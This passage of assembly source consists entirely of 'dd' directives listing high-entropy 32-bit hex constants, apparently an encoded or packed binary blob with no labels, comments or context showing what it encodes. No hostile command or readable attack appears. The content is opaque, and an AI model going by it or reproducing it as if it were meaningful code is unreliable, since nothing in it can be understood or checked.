69FCDBC6h, 0D6010070h, 3E43B850h, 253A45D3h, 526D8087h dd 0D839282Dh, 0AA929ACFh, 6C1EF94Bh, 202DE90Ch, 5FC6C6ECh dd 0D17E13CBh, 3EA56CD9h, 52ADF035h, 0E2155512h, 30FA0F13h dd 635865F3h, 81C34E90h, 1AFC17EBh, 12E5167Bh, 5A7440F8h dd 0C2AC3548h, 138E263Eh, 6CA83A30h, 0C304B190h, 0C0690C7Dh dd 5F15C6CEh, 4AEE4660h, 1230F333h, 0F73AEAE9h, 50E74C77h dd 5BBB089Ah, 2FF6AF08h, 47401C30h, 0B6A659Dh, 53940AF5h dd 6D7278C0h, 7105493Ch, 0B6C30192h, 0E958C701h, 0CF4F2EDBh dd 733DC2C2h, 0A0B0F645h, 0BCF18308h, 0E9CF55B2h, 804D8076h dd 39F07DF4h, 89FF3258h, 605DF2EDh, 74570E5Fh, 891205C2h dd 0AEE85DEBh, 0AF88D54Bh, 0A4944221h, 2E28CD3Ah, 23685602h dd 80AC5952h, 3866F0Fh, 0C495535Bh, 0A9D4811Fh, 0D3F6E255h dd 5F56964Bh, 45B66812h, 68BC1EA8h, 6A019724h, 9DE21F6Fh dd 0EE8E4245h, 5079E267h, 0B41F6055h, 4DBF2E5Dh, 810300FFh dd 0BC0B99F6h, 0CE4C0198h, 20821807h, 79652338h, 0B7490CFh dd 13218BBCh, 0FD9A0B50h, 6C1C24C1h, 0D6E55764h, 442CCB6Ah dd 0D8B8FE10h, 0D063EB2Eh, 7AEF06C2h, 71790FE8h, 0F269076Bh dd 36547041h, 0C838DBAh, 56253773h, 4FB41C4Eh, 5B3C6858h dd 0E920214Ah, 2A442C64h, 0C197AA2Dh, 0CE7102C9h, 0D1256238h dd 0C0A56C00h, 769C8A48h, 5F7890Bh, 0F3BC3B95h, 82F28637h dd 705E5299h, 0DEB857E5h, 0AFD93084h, 0CB686C30h, 657AB662h dd 9348E11Eh, 78A8BDA3h, 28469393h, 9700A2DCh, 758CC117h dd 0B1F82AE9h, 9C6BB215h, 88805297h, 7F480E42h, 5C544B90h dd 84B9C6A3h, 7CAE6861h, 90C08A68h, 0E96B5E64h, 0E7CE749h dd 201ABEBFh, 9CF811Eh, 33BD2E67h, 144F03BDh, 0D7AB29A3h dd 55421005h, 97022AAEh, 0E07B933Fh, 0CA588CEEh, 125DFD83h dd 0D604E23Ch, 303A9204h, 0E4330116h, 30295C53h, 2A00F634h dd 8A35692Fh, 954B2108h, 2947FF80h, 0AAF8156Ch, 0C757E81Fh dd 0E32FF5ACh, 5062C81h, 6C4F0056h, 0BF574684h, 80C4651Dh dd 4A3CA2A5h, 0D3C105BCh, 16CC86AFh, 80CABFB2h, 27011EA2h dd 2770912h, 10698A8Fh, 0C2E230B0h, 0A01791BDh, 0F097136Fh dd 70CCA82h, 9C4E0842h, 8E661685h, 0D64509FEh, 0A9A43B04h dd 93A0D285h, 0D54F85h, 0EE68551Dh, 1A5CCA3Dh, 3CB24FFCh dd 78480591h, 19FB0B96h, 5EF0ED44h, 0F16BDA64h, 5D9D53BBh dd 5BE82FCCh, 6B4A72E9h, 525F3720h, 0BDDF754h, 177BCF3Fh dd 26F5A1DFh, 5501DF00h, 35720238h, 60EF3FC5h, 0F704CC40h dd 8D2DD000h, 89730DFFh, 0C5584FC3h, 568882D8h, 8E5C101h dd 12E76270h, 0C850FC87h, 0BA4EE856h, 0D6A51924h, 19A443F1h dd 0D3980077h, 0F12DFB74h, 55A04513h, 7127984h, 0D0810Fh dd 5CFA2612h, 0D8594E5Ah, 391488D3h, 16DE2DBEh, 18C24BE9h dd 4C524045h, 21152470h, 1D061735h, 69B6028Ch, 6360299Eh dd 122FB523h, 316EE0CCh, 0C4E927D5h, 0C051ED09h, 0F7665C82h dd 4BEFEF1h, 21A9068h, 0ECA16DE9h, 0B1442443h, 0F119520Fh dd 0F62F8B22h, 0E4E5F0DEh, 0F1881C90h, 66C8045Ah, 85EDA859h dd 62BF55D8h, 0FE2304D8h, 0D24852A0h, 0F936538Ch, 0EF129892h dd 0C51C9707h, 5BA212FEh, 672E3D43h, 362DA1DEh, 0B89418ECh dd 9759907Bh, 46973C96h, 0E9C0800Ch, 0B800B7DDh, 81387605h dd 35C0075Ah, 0C115A47Ch, 0FB416A90h, 2D057A25h, 6BA19CE9h dd 742F3D2Fh, 0D80101FCh, 3D0EBB53h, 74317ACBh, 0B01D2568h dd 0E03CD6E8h, 1C5B2932h, 0EDB62B4h, 0F75EB57Dh, 15B1E9A2h dd 9D289C55h, 0D7DCCE4Bh, 525B7528h, 59BD2CA3h, 0E9F0300Bh dd 7782E2EDh, 36C18BB2h, 0EB163FCCh, 0A5B479B8h, 0C4CA6BFCh dd 0AF42E909h, 19BD1014h, 5E88550Bh, 0EA82D8EBh, 0F6AB5113h dd 3AFE4272h, 92BC7E59h, 2AB91135h, 0E8D383CEh, 0CD3A84D7h dd 2DC9560Eh, 0CEFC6AC2h, 0EE3B5718h, 7D5D12A1h, 0A6EE1259h dd 5AEC100Dh, 0FE8DB300h, 80DBF6C3h, 4E07EB34h, 0A2E37DE1h dd 0D36243F2h, 0C06317D1h, 0A0324AE2h, 0A2F2CB7Ah, 0B2E9570Ch dd 9CD872Eh, 6F42628Eh, 56D0B489h, 0F34F5176h, 0A8EAA840h dd 0BF249A30h, 0D0215898h, 51129B91h, 0B6C268BCh, 0DC61F6CFh dd 8967E2DAh, 0F5A642ABh, 256861ECh, 0CF127AF8h, 5156E640h dd 2020CF8h, 0D1592B39h, 1F08FEE9h, 57A6BD0Ah, 62FC03DCh dd 0A7F2A084h, 135B258h, 60F858CBh, 0D71F7412h, 34E08C22h dd 47A25112h, 1B101C01h, 189D7095h, 5616E07h, 29C41CE9h dd 7C363AA8h, 4A6952Eh, 105E9055h, 59051D47h, 0E2733F83h dd 1E8D489h, 725222BEh, 0B40B6F26h, 771F0868h, 61015797h dd 4B336AF3h, 1759CFE8h, 372E8C68h, 3F2681EFh, 0E95DF0E6h dd 60C0E34Fh, 3C2D9242h, 1DA572E1h, 0E7C13E81h, 0AF52B506h dd 0B7258B04h, 0E5FC5E09h, 16AF6858h, 0C22E9B03h, 48D64AB0h dd 83CE0789h, 76EAA27Ah, 8125F241h, 33B26C66h, 9D8AC428h dd 28D3CBFh, 0A59618Ah dd 2BEEA749h, 4E595FF0h, 9CB34FFBh, 39DC2DC9h, 2E685F82h dd 3CCE5140h, 6C05D804h, 45A9561h, 165B467Ah, 6EFBD80h dd 0FFA4822h, 4DE5F92Ch, 103376AFh, 0FE52E2E3h, 175FB010h dd 838CD030h, 3CB40050h, 0B252DCF6h, 0D40B08FCh, 9037ABE9h dd 2E2A76E0h, 827A6974h, 0A9655CE2h, 8BD71F49h, 2B52FE16h dd 0B050C5Eh, 8F206EE9h, 949DBBA5h, 45811243h, 44336F5Dh dd 0A20576CFh, 0CA24E5Eh, 0EB164D94h, 49C89432h, 2CC08DC1h dd 4DEEE188h, 0CB87E6A8h, 0DD50ECD2h, 662A17A0h, 0AA97D97h dd 361FB7BEh, 7059A7BFh, 45C920B8h, 79B0BF05h, 0F7094093h dd 2410001h, 4091E94Fh, 573BBD0Ch, 81630047h, 442CFFEDh dd 7C93A01Ch, 3BE62851h, 0F801BD9Eh, 2F8008B5h, 0DFC5FBC0h dd 59EA3830h, 7AC5414Ch, 0F10AD8AAh, 6F89F44Eh, 0CD280231h dd 3B229D5Bh, 5DEF0561h, 3FD98D7Ah, 0DE9B0062h, 0D2C0E09h dd 8D03FD49h, 6825DE9Ah, 5882A450h, 7FA721ABh, 565F00F8h dd 20AB9855h, 5216C07Bh, 9E1306B6h, 0A94125A1h, 0B307ECEBh dd 0A4F9CC8h, 642E9DEh, 0E9ED205Bh, 3FC0CE14h, 5FA435EFh dd 0FB293EE2h, 3BE053B8h, 891B7DF2h, 78260B7Bh, 8364D334h dd 0C293A317h, 7C5BDE29h, 0BE9C107h, 0DE496917h, 8EEF0ECAh dd 0C5B86683h, 5235A119h, 0DA0DC3C3h, 6A87F563h, 0FAF0C943h dd 75E9ECF9h, 1C914892h, 8B02884Ch, 678B1801h, 0DF014A2Bh dd 4FC4E441h, 0E5F814E1h, 0C7691DE0h, 0F7F5811Fh, 6F0D4D06h dd 5B75DC8h, 294A4E5Eh, 591383EFh, 5FFEDD00h, 1557F4BBh dd 0A469006h, 74453FFDh, 77960399h, 0DA727632h, 0F22652BBh dd 2040EC08h, 5DB8FEF6h, 27519BDBh, 4DAE7FEAh, 0C700AE74h dd 7E03A385h, 1EC7FB21h, 60CE08E3h, 7F8A16C9h, 0E4C04BE9h dd 5A00D093h, 8086B551h, 128D8F5h, 0F3459E8h, 7058C230h dd 0C3FCC80Ch, 0D3589670h, 144A2DC8h, 1F892059h, 0A6A0C19Fh dd 2952172Eh, 0C89C290Dh, 0F172522Dh, 0D9B4F92Dh, 58668472h dd 6599A418h, 0C83C9B41h, 0F77D9E00h, 40E0D137h, 6CF38AFEh dd 0B8469716h, 941CF9F7h, 23712729h, 330938A4h, 609C7E5Ah dd 7EF280B3h, 33D7A4FAh, 978DA613h, 8D6505F9h, 25450EE8h dd 0E86060DDh, 4D003A2Dh, 0D40D4F86h, 0E41D3537h, 87120273h dd 58C1292Bh, 34C16B62h, 441C20E5h, 0EDCC58BFh, 4B28A9E0h dd 0A23AE023h, 0B453B17h, 7C61F9E1h, 6A9A57FAh, 91833057h dd 0E53AB54Ch, 4A034C5Eh, 3390A05h, 3716DF0Fh, 287A0168h dd 780A57E7h, 0ED981820h, 92546B9Fh, 0EC59054Ch, 0FCBBC9DBh dd 5BE9846Ah, 4B67A30Ah, 0EAF56FB2h, 0A2731C45h, 60C9A813h dd 0B020BA22h, 83BF741h, 5C359AA6h, 12D9B8Eh, 5C4AF544h dd 0D34BAFCFh, 4F5C3DE3h, 94C9DEDEh, 0FC629DDh, 0E7D0622h dd 0CBED5B43h, 170E501Fh, 0B8C182Eh, 3B78BF00h, 72810127h dd 0F36417CFh, 0D8985C13h, 627862EFh, 971E595h, 0D025E686h dd 8B4DB20Ah, 12EE7259h, 0C94ADFE9h, 3811E03Ah, 0E4824B2h dd 5B043AE6h, 0E8430229h, 513587DDh, 505C5DBAh, 515C2D56h dd 0BA99E8EFh, 8F0543AEh, 2386C588h, 5A01ACA3h, 391DCA81h dd 0F0F11331h, 0A6908BA2h, 7D50139Eh, 2807EC40h, 0C504064Ch dd 473731CCh, 6908EA01h, 0E30A3B26h, 0C3408EDh, 840D1414h dd 49A89C1Dh, 0ACC3D29Ch, 202148EFh, 756812CAh, 43F7991Dh dd 1E5EAEA4h, 34E94C3Ch, 322BE38h, 0EB28F697h, 5EBF2EAFh dd 0B0926F63h, 16DA6980h, 0C8BD4149h, 805542F2h, 0F67B53BAh dd 50332C4Ch, 7F336E0h, 0C388D0B1h, 0F0D8B234h, 63C075DBh dd 5E30B07h, 0E9011A04h, 62F7E1AEh, 2F9F6B48h, 0DB2E9B5Ah dd 6EA40098h, 0F2E454C5h, 9FF0BAA7h, 5F8E4EE5h, 712FAB68h dd 737F8941h, 645E0966h, 2AE98AF0h, 3EFAC766h, 35825557h dd 5D7CBD7Ah, 65C943E2h, 10346F5Ch, 0ADE0AC2h, 4F04148Ch dd 0E1AFF83Eh, 0F4B59580h, 0F63DEDD0h, 0E54E96D5h, 0CA2BF7CDh dd 36680BEDh, 45FEC439h, 2F1D2783h, 2FBB52DBh, 7DC63775h dd 0B2228160h, 7B1C3959h, 0B733AC8Bh, 5C8304CAh, 35905D21h dd 726E955h, 52793857h, 27E97934h, 5D922CA2h, 6489571h dd 42FBD449h, 8A52B11Bh, 48B5E7EAh, 2648AC80h, 10424501h dd 605E3E32h, 1924A680h, 0EF05005Dh, 2D571518h, 0D03A428Fh dd 952E822Ah, 0C0890C80h, 3ACF0939h, 89D51AE9h, 0A50735E1h dd 7D08E85Dh, 2B2A5377h, 999DF0DCh, 916BD313h, 1097A61Ah dd 3D5EE2F6h, 2A9B6C0Ch, 0D4D016EBh, 0A67AF480h, 2BA4994Eh dd 0DB0D33D8h, 0B0E141C2h, 0D2987B24h, 5599600Bh, 0A99D69EAh dd 0D329370Ah, 0A100BF5Ah, 109E562h, 125E61F2h, 0ED15705Fh dd 2F51E629h, 2B60E989h, 52AAD4FCh, 5529A5DFh, 6A95AA00h dd 7817804h, 0B03DEAE9h, 10095F31h, 58C78354h, 294D0494h dd 0F1C16FFBh, 0C631873Ch, 0E9174F4Eh, 5B34008h, 1F7752F2h dd 13C8293Eh, 0F0D33A84h, 26F8FBC6h, 2024D3D8h, 58E92408h dd 14D93C7h, 166F8B7Bh, 8BAF33Dh, 0D20B2F5Ah, 0E44FC102h dd 2765A70h, 0C09FB198h, 0AFD2AD43h, 0EE4C1F64h, 81025EF4h dd 0E0FEE280h, 0A328A072h, 0E9D880B4h, 0F6054B5Fh, 0AE78169Ah dd 0F3D3FEBCh, 59CB0A16h, 652D1653h, 0E4E906F8h, 0F301EF59h dd 0C1DCAA21h, 0AB69D801h, 0BDBC2C5Bh, 502C70B4h, 0E9309827h dd 1ADF605Ch, 36611025h, 0CF351802h, 61624A5Dh, 5E4947BBh dd 0BB0F852Eh, 54578671h, 43F47830h, 6EF27B08h, 4A631C02h dd 0C896E5E9h, 0B05FFD2Bh, 6BC5586Eh, 0BD3412h, 852C051h dd 21ED0102h, 870804E5h, 0A810F581h, 7BBCF534h, 7BABD3B4h dd 2375DB4Bh, 0CC86C804h, 0D1A96457h, 7AE0D136h, 42515CD8h dd 1590E68h, 0B4FC72CFh, 0FA8C52B3h, 0EA42446Dh, 0CD8100B8h dd 9C581CDFh, 4EBE1825h, 0EEC6212Ch, 9299256h, 6BF068ACh dd 2B70A346h, 0E9EB309Fh, 2AEB535h, 0F50FC9DDh, 0E2E8D727h dd 0E4DEBF53h, 1CE21986h, 77584864h, 0E9A30130h, 0DC418A0h dd 6AF5BDAh, 8798C216h, 4F02C0Eh, 28348026h, 5EB652D8h dd 0A86AE0B3h, 0C195EEE0h, 9838DAACh, 0C784E249h, 0E440AC58h dd 5E9145EFh, 40B2B420h, 0D6630607h, 48C0F009h, 38FE8796h dd 25E046E9h, 0BCEFEBC3h, 9A97479Ah, 96325E64h, 29CB440Ah dd 163FA3CBh, 2CA8DBF7h, 0C66F4104h, 90E9FC07h, 949C209Bh dd 55EEBA8h, 0D36EA56Bh, 7866974Bh, 117EE9ECh, 560908EEh dd 0C9A077E9h, 4D52952Dh, 0DE2F034Ah, 8997B35Eh, 173714EFh dd 0A64E40E9h, 778114Ah, 0BB53844Ah, 8A207A6Dh, 880CB6A3h dd 0A1294DE8h, 88E95598h, 2E587808h, 8F21EED7h, 0F809F531h dd 0E28F45A8h, 95CC20Ch, 0ABF807EDh, 452E94C3h, 64BC354h dd 39E49948h, 70DB250Fh, 0CF67974Dh, 274AC525h, 9A27717Bh dd 83DCC217h, 0E86B31A2h, 72471ECAh, 0B9E9122Bh, 93554F94h dd 0B84F08C5h, 1EF51206h, 5FF8C445h, 0D812EEFDh, 0D6FCE9AAh dd 6C0ED300h, 905D0619h, 1679022Bh, 0CD016E47h, 56451159h dd 0A1E965C1h, 802E3425h, 0EC764365h, 0D686165Bh, 42910BB0h dd 50FC189Ah, 0BDE28103h, 4A5F997Bh, 1E5B8940h, 0B5334EFCh dd 0B1CEE44Ah, 0CBF46F5Ah, 149C4FE9h, 6D17C9E5h, 1313E751h dd 7FC08C68h, 0BDE2C3E9h, 9205AC6h, 94295BD4h, 2F6FB124h dd 35197D3h, 42B8BAC8h, 0E9980DFBh, 699536D5h, 0BD7844EBh dd 7DA7BF00h, 75BE55B4h dd 59A2CA09h, 0D1E50429h, 5E48E0ECh, 2E65CB5Eh, 8C423B5Ch dd 0C12E54BFh, 2856EF68h, 0F8E19350h, 0B2524181h, 0E0E2C0C8h dd 0AC1CAFEh, 0D6C28002h, 0D4F0E360h, 20782DD9h, 8103446Ah dd 340848C9h, 0DAC1B03Ch, 0B65B258Fh, 5095BC78h, 0C88697B4h dd 47206E56h, 72665843h, 101BF75Bh, 0E05A08CBh, 0AA4A8E64h dd 5A288190h, 582D25B4h, 9A0176Ch, 3180B733h, 0A15D4FE8h dd 0A56FEC19h, 8BEF3FC0h, 0B4F4082Bh, 0F7153F7Ah, 20488DCEh dd 93414B1Eh, 68A5838Ah, 912742FBh, 7BDB8B49h, 99EB03CDh dd 0AB851C42h, 9085D50h, 543CB2E9h, 603F9C80h, 0B7ED801Ch dd 0C55DE51Dh, 60190672h, 0DD983008h, 0FE948B61h, 0A1F651E8h dd 18A94806h, 1C12F089h, 22E9EBh, 57C30107h, 111F72BFh dd 0F781523Dh, 6240592Ah, 6638EC82h, 0E540530Dh, 31481F33h dd 0D9D925D8h, 4072A822h, 5031ACC3h, 0E5038C54h, 84750102h dd 76B39224h, 7FABB34Eh, 0C4FBF32Fh, 0BE877B68h, 9B005A7Dh dd 63C609D5h, 0D1624F98h, 7BCF290Dh, 60011E6Bh, 0E4BC5D71h dd 5E1DC652h, 954BA35Bh, 40C8D20Ah, 3691419Bh, 920E5C13h dd 0C9E2570Ch, 0D29495C3h, 5BDE0903h, 784698E9h, 4A26EE8Fh dd 0A200312Bh, 0B8652F22h, 172A2608h, 8103E851h, 47DE685Bh dd 95BF2389h, 0B042BEF1h, 14620A2Ch, 0F609A008h, 73026819h dd 2259D00Bh, 0D7355817h, 5F2DE522h, 6812E694h, 8DEC2AF1h dd 8D17C5C1h, 0CBE42A78h, 2863B9E9h, 0A1926E6h, 3AF82556h dd 0A93D8E12h, 10777310h, 0F74825C6h, 0C4033858h, 684AC259h dd 985F5A9Ah, 0AC43A301h, 58D2F647h, 4D26E90h, 434B6225h dd 0BD581FCFh, 25CE01AFh, 3EDDB001h, 0F92874D9h, 0C1C7E913h dd 20D021E6h, 54C5E42Dh, 76C26F04h, 975E0444h, 0B852944Ah dd 88580AA6h, 9809C5FAh, 6016F61Eh, 58C20825h, 7AE2D026h dd 9B067E18h, 0CAA2702Ch, 80DEF464h, 9556857h, 5F165E8Ah dd 2300EFC1h, 0E634B9F7h, 0FC8C123h, 3B5EDE35h, 0F5EF8D00h dd 8068F351h, 0FFA731Bh, 0B6E9D9C4h, 78048E0h, 285BA4C1h dd 0FA48B5C8h, 0E45C7F49h, 0DDEAC821h, 0DBE02913h, 0A9D300F6h dd 42C710D8h, 0E707F438h, 72019D2Dh, 4E60377Dh, 83055CF7h dd 0E153FB81h, 7BEEED3Ch, 44C6A340h, 9F7D7FF3h, 0C879B80Bh dd 0DE7DE9C2h, 2F571757h, 491C1BB0h, 231AB11Fh, 0E616B828h dd 0CA4D65C0h, 16E8211Ah, 48928C5Ch, 74DE8FB7h, 56521F1Eh dd 243CE16h, 0C285F680h, 4A8B708Dh, 0D376F35Fh, 598F9009h dd 525CC2B9h, 135B857h, 0E65D4FEAh, 5BDA1784h, 0EBC2AD24h dd 2A57940h, 7BE76F8Eh, 416C83DFh, 0C51B0302h, 39E81A4Bh dd 50FC8FD9h, 50EDF5C0h, 0D7EDCD7Ch, 27A523E8h, 80618C1h dd 282AE61Dh, 0F73966D8h, 0CA689AE9h, 0C7A97F0Eh, 0A03984FCh dd 28F3BF2h, 2EED16B6h, 0A4352A3Ch, 59893C42h, 2C03FC5Ah dd 0E57E42D7h, 0C62774F9h, 56FB88DBh, 2C098CBEh, 80531C7Dh dd 0A3286B58h, 0B69B982Eh, 0DBBD009Ch, 0F755065Bh, 14DEDD60h dd 0A01DAF2Ch, 14B69386h, 0AF298DADh, 89BDE915h, 41486809h dd 0B0D61AA2h, 0D5611009h, 1C21D14h, 0E06DC705h, 2DC8625Dh dd 27E90782h, 0DF279672h, 0E450E85Bh, 9AA3B2Ah, 2BDE700h dd 0EBE9573Bh, 0EE9E2441h, 0A5253840h, 0AD1C2B3h, 0F0F6D31h dd 958BB05h, 859C423Eh, 3FA4323Fh, 20D0EC5h, 0E5C00CBEh dd 1A1B4D85h, 3B74F6C0h, 0A229C190h, 88D554B6h, 500022ABh dd 0DCF60DB4h, 38F43980h, 826C494h, 0E188870Bh, 492FD302h dd 0C8AD2879h, 0BD9A9BFAh, 1098A6Eh, 661389FBh, 68E92FF2h dd 0D8E19E48h, 69371A1Eh, 0ED3BAF8Ch, 8BB6E0h, 126C45BAh dd 0D9B63175h, 0EC252E21h, 0BA6C9F5Fh, 790DFD01h, 0BA1DE917h dd 0BF86DD2Fh, 309252Dh, 805B6645h, 276859E8h, 0D6195279h dd 179067EFh, 0B4E2D186h, 804B7FDFh, 30D9B2C5h, 0A981F298h dd 3A3B31EEh, 82B88812h, 9F48FECBh, 1897C34Ah, 955202A5h dd 6494DEC6h, 2FADBAC7h, 0E920887Bh, 98D0804Eh, 0CF592568h dd 540F7E09h, 82B95F57h, 937E955h, 68B8A96Bh, 16263BF2h dd 0F501E402h, 4EA7697Eh, 52880C80h, 0E9894CB1h, 0B3EE1EC0h dd 0BD27EF24h, 808626Ah, 0E7DE3FC1h, 62E7273Ah, 62F9DEEFh dd 0C25BA6ACh, 15B592BDh, 4A570C88h, 12BA7BFh, 1F745E94h dd 2197C01h, 0B6805F0Ch, 0BB22DDB8h, 97F7792Ch, 0D3C40413h dd 70BA8745h, 527921AFh, 8850FCB2h, 0E55CD472h, 0CCE4B4BDh dd 594140A3h, 51953CF2h, 4906681Ah, 833D3DD9h, 3E337DEAh dd 6ED40021h, 0E9265573h, 22CD0D53h, 4C8062F7h, 167A9BE3h dd 0EC14B0Ch, 1EB82BADh, 28B3F3F4h, 20A93D2Ch, 4802BC46h dd 0B4AA392Dh, 0C9C7C17Fh, 0DCF00005h, 5E306A70h, 0FDC128BEh dd 0F77429E9h, 36070A68h, 0C71433Fh, 471BD68Ah, 7CFB0B7h dd 0C7CDC00Bh, 0E25F2196h, 1644E29Dh, 2EACC198h, 2852AE1Bh dd 6D08E591h, 0D0291435h, 4ED1F510h, 9D360F90h, 24867D54h dd 9098B54Fh, 0E8C18014h, 0DEC83118h, 68083005h, 2E942C17h dd 0D9C0C349h, 7588463Ah, 792F397Ch, 0B2149292h, 40E9C4C2h dd 0F84A0DA0h, 1A110CF2h, 0F50C57CDh, 6B493616h, 68393007h dd 0B791821Bh, 0B522ECF8h, 0C802C529h, 75F91B84h, 4B79F22Fh dd 0CCFB9BEh, 0F85EF729h, 490E0434h, 0C2C70125h, 720936F4h dd 11D9964h, 715A0E67h, 7CD8EEE9h, 12C28007h, 0D126CA30h dd 9F67408h, 0AFE95366h, 68EC59F8h, 0F94A054Ah, 0D9AFF028h dd 45DA52BCh, 0B23DE918h, 901FE56Fh, 0B692885Fh, 5ACEF410h dd 0F6F280FBh, 0F5402807h, 0AF9C95EBh, 0A8277C41h, 7B9C6810h dd 991791ECh, 5E00F5F0h, 44293BE1h, 0A6CA4801h, 6660841h dd 81EE8640h, 0E4327464h, 0F7A88A5Ch, 37D5E5E5h, 520208ACh dd 3562C067h, 77B5C0FFh, 6D763805h, 4FD0A0D0h, 8103400Ch dd 4C3870CBh, 0BE09F692h, 58FC0664h, 0C36D958Fh, 0FCDE40ADh dd 43E93974h, 0EDFDF218h, 5931E0CAh, 0EB71B4BBh, 3E68000h dd 7EEC007h, 0A98ECEFEh, 230E5737h, 0C818E922h, 14AD8871h dd 0BD55020Ch, 6C2F4AEBh, 0B9A3C1h, 4B7A685Dh, 508D2203h dd 0CD7004C2h, 3E908680h, 0B715D294h, 3F2F7592h, 0AD5B8Ah dd 53B67146h, 0D926C181h, 33BF679h, 5A0FC7F1h, 7EC9E005h dd 15E50475h, 54C8B8E9h, 2D735802h, 0F9748949h, 3FC36B3Eh dd 0F4C09810h, 2431FA40h, 9A7A362h, 0C7C422E1h, 8BB660Fh dd 0B378850Eh, 0F5F751ACh, 0B8AD4198h, 0F0A14B7Ah, 7F6B3540h dd 5DFFE20Dh, 0F505D504h, 2C313BAEh, 6839B6E9h, 526AC22Dh dd 0A17307D5h, 0BB6690FAh, 35C8BD3Fh, 63A09D19h, 8C3EC859h dd 5AD593AEh, 0C47FD414h, 38FB53DEh, 4D27685Fh, 57671839h dd 71298151h, 0E9C6ED08h, 0BD8050B4h, 24251D8Dh, 0CD710016h dd 40897193h, 1B168A78h, 62AC6F08h, 0CDE09E14h, 1CF009DEh dd 0EB93F256h, 13588E8Ch, 0B9626168h, 8556A240h, 41E1AFCFh dd 2559E3ECh, 39D09C2Ch, 689EE4E9h, 0F130C931h, 1D6CC7E1h dd 0D0FEE5E7h, 5D966804h, 45099BBDh, 906FF393h, 9441E93Bh dd 80B2F197h, 0D3F0BE6h, 687E5650h, 374F0416h, 2C936680h dd 2F4B4585h, 0BB1086E3h, 2CAC0E42h, 0B594E51h, 3B8CE3D8h dd 215DE80Ch, 80790E10h, 12E951B2h, 0FBE89F2Fh, 0BFC625B7h dd 2D5D1EACh, 0D9F3CDF9h, 19ED650Bh, 6A6316Dh, 0A430C473h dd 0CF61350Bh, 15F8683Dh dd 0CBA5876Eh, 20C1F720h, 30078107h, 3EC778F9h, 3A90E6E4h dd 0BF5EF531h, 4721A2E0h, 7A651C48h, 9E534EB7h, 0D8ECDA73h dd 64847C4Fh, 0E9C978AEh, 2EEF9D55h, 1B017352h, 68734B4Fh dd 0B6501320h, 88C281F3h, 42305AD3h, 77F45BB6h, 60B75362h dd 0FA7B006h, 640CC8FEh, 0B52C8F63h, 0D504DCB1h, 56966028h dd 76B26295h, 1A5DF29Fh, 22CF04C3h, 58A28FBCh, 0B6A199ECh dd 3F2E23A5h, 4B8A1F66h, 0E3C00413h, 0FC20055Bh, 0FD2CE1D9h dd 5F590740h, 2BAE355h, 7D2B66BEh, 10FC02Dh, 0F07FE681h dd 9044F73Bh, 0C46E7DF5h, 0E19481DFh, 0D9276F92h, 55B8A484h dd 0B112B25Bh, 2D3AE0D3h, 0C144C60Ah, 0E4995A2Fh, 1FD5FA07h dd 4C477976h, 0BF1AD34Dh, 10784AA2h, 0D0F74817h, 2AAE5E00h dd 9731237Ah, 4FCDCF60h, 4F6E7997h, 0FB0CB384h, 64307C32h dd 9DB0953h, 83800288h, 92B7A740h, 2C85D995h, 0BCB6E40Dh dd 0EBC116EAh, 0E5C32F00h, 98FBA32Dh, 0B4E297BFh, 491EB47Dh dd 472EC80Eh, 322002B2h, 0B9876CF7h, 0A7A90235h, 0E530015Ch dd 0B2DD029h, 4FA63C64h, 7D4DCA06h, 0E0F100EDh, 5FB0194Bh dd 3B175C49h, 68510220h, 3B530C77h, 102C5905h, 1ACA7B13h dd 4E3166F0h, 5394206Ch, 7E2DE954h, 2386EB7h, 3110E8C1h dd 0E97850C8h, 0BD2F730h, 0A028F4E9h, 137CE573h, 0E35A125Ch dd 2E90DB7h, 0DC202423h, 8C4E5EC4h, 0B405570h, 0EFCD09BBh dd 9F2F151h, 9B886A25h, 545217CBh, 0E9F65Dh, 9C12CEC5h dd 98CD012Eh, 30455B15h, 0FB6456EAh, 0D1416701h, 2D96E9E1h dd 7E4DCB4Ah, 50301FCEh, 2A1EB1BDh, 0B2C87A14h, 0CBA01A8h dd 0E8137315h, 0E89DF54Bh, 98E888FFh, 5C2390C8h, 3C2DD5FDh dd 9A10F2BAh, 5D811E49h, 59CA8681h, 2E4D7E6Bh, 7731FE80h dd 0E90B16A1h, 9DED00Ch, 6DF2F028h, 6CF9B34Ah, 0B91ED0D2h dd 67344CDCh, 0F800EA55h, 29A87AE6h, 101E4FE9h, 0AD4CDDC3h dd 810E8734h, 812204C0h, 0C78FC6A9h, 233AA0D8h, 3098B6DCh dd 0E639D120h, 1D1F1D81h, 0B20A9B26h, 0F0C9701Ah, 27BD9846h dd 256B31CBh, 0D4644CBAh, 4D1A60BFh, 42FE0003h, 25B5CA81h dd 0CC24869h, 4066569Dh, 82CE6C44h, 442EA25Dh, 0EC5C0585h dd 0E0F9CB37h, 5814F52h, 0A13B62E7h, 159E820Fh, 0A6505307h dd 3D46F502h, 7D82CB81h, 0D3F77EC9h, 2A08DF41h, 0B72816A1h dd 0FDFBF60Bh, 60A45D66h, 0BB7F0560h, 4B400176h, 556DE125h dd 6366EED2h, 38FA74h, 685257D5h, 3A0B9A1h, 5675A5Ah, 0C0841FA2h dd 82CD2290h, 0FF349A5Fh, 0C4154205h, 8F50EB5Bh, 16714808h dd 6F23F28h, 82D7F040h, 1CF02D50h, 5D10D267h, 8CA0F7E5h dd 9A17F842h, 3FF7B48Dh, 0E516FA13h, 0EE577A8Eh, 0A9B273C1h dd 0A676800h, 5A0195B8h, 13D3EA81h, 0B770402Fh, 0B9428A01h dd 5E43EAE2h, 0BD7F7260h, 5B3D7EE3h, 0B704079h, 29597544h dd 0FDBE6ABDh, 68FD7F21h, 0DA28410Ah, 862F2217h, 5EFC5456h dd 35C2B3CCh, 70EF2283h, 8CA8E981h, 68C389A8h, 3B5E9D26h dd 4ADF10C2h, 6A8E7530h, 7681B893h, 9F8D38F3h, 0E952226Dh dd 0BF555807h, 5206ED0Fh, 293943E7h, 1822C8FBh, 2F0B414Bh dd 1E9B9719h, 13D1E8DDh, 2B9490B3h, 43199DBBh, 1F3A8868h dd 76C81DC5h, 0B5ED59EDh, 1868BF9Ah, 657C4568h, 5520799Bh dd 6F2C2E3Ch, 44434BE9h, 8359F508h, 0DDA09C9h, 599D5F70h dd 62E96F31h, 5592820h, 38582BDBh, 2DD81457h, 295B1E07h dd 69005712h, 19487AA9h, 0E9F70C89h, 0C271EB78h, 0D3F40C0Bh dd 3F8FDE2Bh, 5E983912h, 0BCCE5284h, 26E440C1h, 0A6B16EC0h dd 0EA59CB88h, 0D92834FAh, 0A915C19Fh, 9EDF28BEh, 0D965321Fh dd 2D62A886h, 0B04A55B0h, 86906C14h, 538F9525h, 8CA5BD39h dd 5F5DB681h, 91F02052h, 